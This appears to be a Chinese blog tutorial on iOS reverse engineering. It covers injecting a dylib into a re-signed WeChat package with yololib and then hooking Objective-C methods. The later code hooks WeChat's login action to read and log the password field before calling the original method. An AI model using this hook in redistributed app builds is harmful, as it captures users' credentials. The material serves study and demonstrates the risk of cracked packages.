美文网首页
iOS-逆向11-代码注入

iOS-逆向11-代码注入

作者: 一亩三分甜 | 来源:发表于2021-05-04 00:37 被阅读0次

    《iOS底层原理文章汇总》

    1.运行上节课的WeChat程序,ViewController中的代码不会执行,因为MachO文件中的整个都被替换了,Product目录下WeChat.app中显示包内容,提取出WeChat.app中的可执行文件WeChat

    image

    I.通过MachOViewer分析WeChat可执行文件,由Mach64 Header、Load Commmands、sections、Function Starts、Data in Code Entries、Symbol Table、Dynamic Symbol Table、String Table、Code Signature这几部分组成

    图片.png 图片.png

    可执行文件由dyld进行加载,会读取Header查看是什么样的文件,Load Command中是一些细节信息,分为四大块_PAGEZERO、_TEXT、_DATA、_LINKEDIT,告诉dyld代码段和data段分别在哪


    图片.png

    LCMAIN指示main函数在哪儿,LOAD COMMAND知道几乎应用程序的所有信息


    image

    II.代码注入思路:WeChat执行WeChat可执行文件,还需要执行WeChat.app包中的frameworks和系统的UIKit,Foundation库等,WeChat.app中依赖包含的Framework andromeda也是一个MachO文件

    image

    andromeda通过MachOViewer查看,没有PAGEZERO


    image

    微信如何告诉dyld,要加载依赖的Framework的呢?andromeda等。Load COMMANDS中有指示dyld加载andromeda的路径


    image

    @rpath是工程根目录Frameworks目录,dyld根据Load Commands中的相应字段去指定的目录去加载framework,
    程序启动dyld会根据Load Commands中的LC_LOAD_DYLIB列表去加载frameworks,一个一个去加载动态库

    III.要注入代码,可以将要注入的代码包装在动态库中,即若LC_LOAD_DYLIB列表中有要注入的代码的动态库,则动态库就会被执行

    A.Framework手动注入

    1.在工程中新建动态库,build后显示WeChat.app中的包内容发现CloudHook动态库已经存在于WeChat.app包中

    image
    image
    image
    image image

    此时查看MachO可执行文件中发现LC_LOAD_DYLIB列表中并没有CloudHook,也就无法执行load方法中的内容


    image

    可以通过Xcode查看到CloudHook是一个动态库


    image

    要想注入代码生效,需要修改MachO可执行文件

    2.通过工具yololib修改MachO可执行文件,再次查看LC_LOAD_DYLIB列表中已经存在CloudHook了

    图片.png
    图片.png

    将修改后的MachO可执行文件放入Wechat.ipa中替换掉原来的,重新打包
    ⓵.将原始的微信8.0.2.ipa包解压到当前目录下生成Payload文件夹中包含WeChat.app包


    image

    ⓶.用修改好的MachO文件替换原始解压后的WeChat中的MachO文件


    图片.png

    ⓷.重新打包执行zip -ry WeChata.ipa Payload/生成WeChata.ipa


    image

    ⓸.用生成的WeChata.ipa替换到原来工程中的微信8.0.2.ipa包,重新运行,注入成功

    图片.png 图片.png image

    !!!注意:若运行时程序崩溃报错如下,libsystem_c.dylib strlen,则是Framework的版本号高于手机的系统,调低Framework Target中的版本号就好了


    image
    图片.png

    B.Dylib注入

    ⓵.创建空工程,将微信8.0.2.ipa包放入工程目录下的新建的APP文件夹中

    image
    ⓶.将shell脚本文件appSign.sh放入工程根目录下
    image
    ⓷.将appSign.sh文件放入工程Build Phases目录Run Script下
    image
    image
    ⓸.build后,工程根目录下会生成temp文件夹里面有WeChat.app包
    图片.png
    ⓹.添加Dylib
    image
    图片.png
    image
    ⓺.在CloudHook的Build settings中修改Base SDK为iOS,签名Code Signing Identity改为iOS Developer
    图片.png
    image
    ⓻.拷贝文件到Frameworks中
    image
    image
    image
    image
    图片.png
    ⓼.通过脚本修改MachO文件,将yololib拷贝到工程根目录下
    image
    ⓽.修改appSign.sh,build Cloud Target和Dylib注入 Target两个Target,查看libCloudHook.dylib已经拷贝到Frameworks目录中,找到libCloudHook.dylib的路径拷贝到脚本中,通过yololib修改MachO可执行文件的路径
    ./yololib "TARGET_APP_PATH/APP_BINARY" "Frameworks/libCloudHook.dylib",保存修改后的appSign.sh
    图片.png
    image
    图片.png
    图片.png
    image
    ⓾.运行,查看类CloudHook中的load方法中的NSLog打印注入成功咯是否显示,通过MachOViewer查看Dylib注入.app显示包内容中的WeChat可执行文件的LC_LOAD_DYLIB列表中是否新增libCloudHook.dylib路径
    图片.png image
    image
    以上用脚本注入dylib成功,同理,Framework也可以通过脚本注入,只需修改脚本,指明Frameworks的路径为Frameworks/CloudHook.framework/CloudHook
    ./yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/CloudHook.framework/CloudHook"
    图片.png
    图片.png
    图片.png

    2.Method Swizzle方法交换

    利用OC的Runtime特性,动态改变SEL(方法编号)和IMP(方法实现)的对应关系,达到OC方法调用流程改变的目的。主要用于OC方法。
    在OC中,SEL 和 IMP 之间的关系,就好像一本书的“目录”。
    SEL 是方法编号,就像“标题”一样。
    IMP是方法实现的真实地址,就像“页码”一样。
    他们是一一对应的关系


    image

    3.多种Hook方式

    1.class_addMethod方式:
    利用AddMethod方式,让原始方法可以被调用,不至于因为找不到SEL而崩溃

    2.class_replaceMethod方式:
    利用class_replaceMethod,直接给原始的方法替换IMP

    3.method_setImplementation方式:
    利用method_setImplementation,直接重新赋值原始的新的IMP

    4.破坏微信注册功能

    I.通过lldb调试Debug View Hierarchy,发现微信的注册的控制器WCAccountLoginControlLogic和方法onFirstViewRegister


    图片.png
    image

    II.通过runtime修改注册方法,注册被拦截到自己的方法中

    +(void)load{
        //改变微信的注册
        Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
        Method newMethod = class_getInstanceMethod(self, @selector(my_method));
        method_exchangeImplementations(oldMethod, newMethod);
    }
    -(void)my_method{
        NSLog(@"哥么注册不了了!");
    }
    
    图片.png image

    由此得知谨慎使用第三方插件,会有安全隐患,尤其是破解包
    当点击登录时,若要截图密码,该怎么获取密码?


    image

    5.窃取登录密码调试分析

    A.响应链条

    通过lldb调试Debug View Hierarchy发现登录的控制器名字WCAccountMainLoginViewController和响应事件方法名字onNext,通过响应者链一层一层找到textField


    image
    image
    (lldb) po [(WCAccountMainLoginViewController *)0x129001e00 view]
    <UIView: 0x127e06580; frame = (0 0; 414 736); autoresize = W+H; layer = <CALayer: 0x1cc03fd80>>
    
    (lldb) po [(UIView *)0x127e06580 subviews]
    <__NSArrayM 0x1d4e56890>(
    <WCTableView: 0x12800a200; baseClass = UITableView; frame = (0 0; 414 736); clipsToBounds = YES; autoresize = W+H; gestureRecognizers = <NSArray: 0x1cc24dec0>; layer = <CALayer: 0x1cc03fde0>; contentOffset: {0, -64}; contentSize: {414, 393}; adjustedContentInset: {64, 0, 226, 0}>,
    <UIView: 0x12c2a3540; frame = (124.5 694; 165 22); layer = <CALayer: 0x1d0223800>>,
    <UIView: 0x127f27560; frame = (0 0; 414 64); autoresize = W; userInteractionEnabled = NO; layer = <CALayer: 0x1d4430980>>
    )
    
    (lldb) po [(UIView *)0x12800a200 subviews]
    <__NSArrayM 0x1c40479e0>(
    <UIView: 0x12c2a75c0; frame = (0 0; 414 234); layer = <CALayer: 0x1d0221460>>,
    <UIImageView: 0x127fa4cb0; frame = (3 440.667; 408 2.33333); alpha = 0; opaque = NO; autoresize = TM; userInteractionEnabled = NO; layer = <CALayer: 0x1d4436380>>,
    <UIView: 0x127d080c0; frame = (0 234; 414 159); layer = <CALayer: 0x1c402ddc0>>,
    <UIImageView: 0x127fa50f0; frame = (408.667 56; 2.33333 387); alpha = 0; opaque = NO; autoresize = LM; userInteractionEnabled = NO; layer = <CALayer: 0x1d4436520>>
    )
    
    (lldb) po [(UIView *)0x12c2a75c0 subviews]
    <__NSArrayM 0x1d0252b70>(
    <UIView: 0x12c2a73e0; frame = (0 0; 414 234); autoresize = LM+RM; layer = <CALayer: 0x1d02212e0>>
    )
    
    (lldb) po [(UIView *)0x12c2a73e0 subviews]
    <__NSArrayM 0x1d0252b40>(
    <UIView: 0x127e0ae00; frame = (414 0; 414 234); hidden = YES; layer = <CALayer: 0x1cc221100>>,
    <UIView: 0x12c29b1c0; frame = (0 0; 414 234); layer = <CALayer: 0x1d043bce0>>
    )
    
    (lldb) po [(UIView *)0x12c29b1c0 subviews]
    <__NSArrayM 0x1d4e55ff0>(
    <CTRichTextView: 0x12c29b5c0; baseClass = UILabel; frame = (20 73; 374 33); opaque = NO; layer = <_UILabelLayer: 0x1d009e820>>,
    <UIView: 0x127f68e20; frame = (0 146; 414 44); autoresize = W; layer = <CALayer: 0x1d423dd40>>,
    <UIView: 0x127f8be50; frame = (0 190; 414 44); autoresize = W; layer = <CALayer: 0x1d4420260>>,
    <UIView: 0x127f73ed0; frame = (20 189.667; 374 0.333333); autoresize = LM+W; layer = <CALayer: 0x1d4424aa0>>,
    <UIView: 0x127f5d940; frame = (20 233.667; 374 0.333333); autoresize = LM+W; layer = <CALayer: 0x1d4424e00>>
    )
    
    (lldb) po [(UIView *)0x127f8be50 subviews]
    <__NSArrayM 0x1d4e576d0>(
    <WCUITextField: 0x1288d5a00; baseClass = UITextField; frame = (20 0; 384 44); text = '123456'; opaque = NO; autoresize = W+H; tintColor = UIExtendedSRGBColorSpace 0.027451 0.756863 0.376471 1; gestureRecognizers = <NSArray: 0x1d4e57a90>; layer = <CALayer: 0x1d4420100>>
    )
    

    B.静态分析

    代码注入hook登录按钮

    +(void)load{
        //改变微信的注册
        Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
        Method newMethod = class_getInstanceMethod(self, @selector(my_method));
        method_exchangeImplementations(oldMethod, newMethod);
        //改变微信的登录
        Method oldMethod0 = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
        Method newMethod0 = class_getInstanceMethod(self, @selector(my_loginmethod));
        method_exchangeImplementations(oldMethod0, newMethod0);
    }
    -(void)my_method{
        NSLog(@"哥么注册不了了!");
    }
    -(void)my_loginmethod{
        NSLog(@"哥么登录不了了!");
    }
    

    1.通过class-dump导出WeChat的头文件,class-dump工具能dump出OC所有的类,对象,对象方法,类列表,方法列表,包括成员变量,执行./class-dump -H WeChat -o ./headers/,生成headers文件夹并不是源码,是通过读取MachO文件得到的头文件,头文件并没有打包到可执行文件中

    图片.png
    image

    !!!此时注意,官网下载的class-dump不能导出OC和Swift混编的可执行文件,需要从https://github.com/AloneMonkey/MonkeyDev/blob/master/bin/class-dump下载,否则会报错Error:Cannot find offset for address 0xd8xxxxx in stringAtAddress

    2.Headers文件夹拖入Sublime Text,快速找到WCAccountMainLoginViewController.h文件,找到密码输入框WCAccountTextFieldItem *_textFieldUserPwdItem,往下找WCAccountTextFieldItem,找到WCBaseTextFieldItem中WCUITextField *m_textField

    图片.png
    image image

    3.onNext方法没有参数,只有self和_cmd,self表示WCAccountMainLoginViewController


    图片.png

    4.lldb调试通过valueForKey获取m_textField的值

    (lldb) po [(WCAccountMainLoginViewController *)0x118807a00 valueForKey:@"_textFieldUserPwdItem"]
    <WCAccountTextFieldItem: 0x1d42b0c20>
    
    (lldb) po [(WCAccountTextFieldItem *)0x1d42b0c20 valueForKey:@"m_textField"]
    <WCUITextField: 0x114241600; baseClass = UITextField; frame = (20 0; 384 44); text = 'qqwwee'; opaque = NO; autoresize = W+H; tintColor = UIExtendedSRGBColorSpace 0.027451 0.756863 0.376471 1; gestureRecognizers = <NSArray: 0x1d504ec10>; layer = <CALayer: 0x1d463b000>>
    
    图片.png

    5.代码实现,在onNext的hook方法中通过valueForKey的方式获取密码[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]

    +(void)load{
        //改变微信的注册
        Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
        Method newMethod = class_getInstanceMethod(self, @selector(my_method));
        method_exchangeImplementations(oldMethod, newMethod);
        //改变微信的登录
        Method oldMethod0 = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
        Method newMethod0 = class_getInstanceMethod(self, @selector(my_loginmethod));
        method_exchangeImplementations(oldMethod0, newMethod0);
    }
    -(void)my_method{
        NSLog(@"哥么注册不了了!");
    }
    -(void)my_loginmethod{
        NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
    }
    
    image

    5.调用回原来的逻辑,调用原来的方法,发现程序崩溃,WCAccountMainLoginViewController中找不到my_loginmethod方法,'-[WCAccountMainLoginViewController my_loginmethod]: unrecognized selector sent to instance 0x11c805400'

    -(void)my_loginmethod{
        NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
        //调用回原来的逻辑
        //调用原来的方法
        [self my_loginmethod];
        //objc_msgSend()
    }
    
    图片.png

    方法断点后,进入汇编分析进入方法objc_msgSend方法,查看x0和x1寄存器的值,此时WCAccountMainLoginViewController类中并没有my_loginmethod方法,方法交换后,只是改变了方法的指向,类中并没有新增方法,故报错,有三种解决办法


    image

    让被hook的类中包含有交换的selector,最简单的方式是新建分类,不用分类的情况下,可以通过runtime添加方法

    • I.通过给类添加方法后交换,程序能正常运行,调用原来的方法
    +(void)load{
        //改变微信的登录
        //原始的Method
        Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
        //WC添加新方法
        class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext,"v@:");
        //交换
        method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
    }
    void new_onNext(id self,SEL _cmd){
        NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
        //调用回原来的逻辑
        //调用原来的方法
        [self performSelector:@selector(new_onNext)];
        //objc_msgSend()
    }
    
    image
    图片.png 图片.png 图片.png
    • 2.通过替换原来的方法class_replaceMethod
    +(void)load{
        //改变微信的登录
        //原始的Method
        Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
        IMP old_onNext = class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
    }
    //原来的IMP
    IMP (*old_onNext)(id self,SEL _cmd);
    
    void new_onNext(id self,SEL _cmd){
        NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
        //调用回原来的逻辑
        //调用原来的方法
        old_onNext(self,_cmd);
        //objc_msgSend()
    }
    
    图片.png

    3.通过Method的method_getImplementation和method_setImplementation方法将原始的onNext存起来后替换为新的new_onNext,后执行原始的

    +(void)load{
        //改变微信的登录
        //原始的Method
        old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
        method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
    }
    //原来的IMP
    IMP (*old_onNext)(id self,SEL _cmd);
    
    void new_onNext(id self,SEL _cmd){
        NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
        //调用回原来的逻辑
        //调用原来的方法
        old_onNext(self,_cmd);
        //objc_msgSend()
    }
    
    图片.png

    相关文章

      网友评论

          本文标题:iOS-逆向11-代码注入

          本文链接:https://www.haomeiwen.com/subject/qhbqdltx.html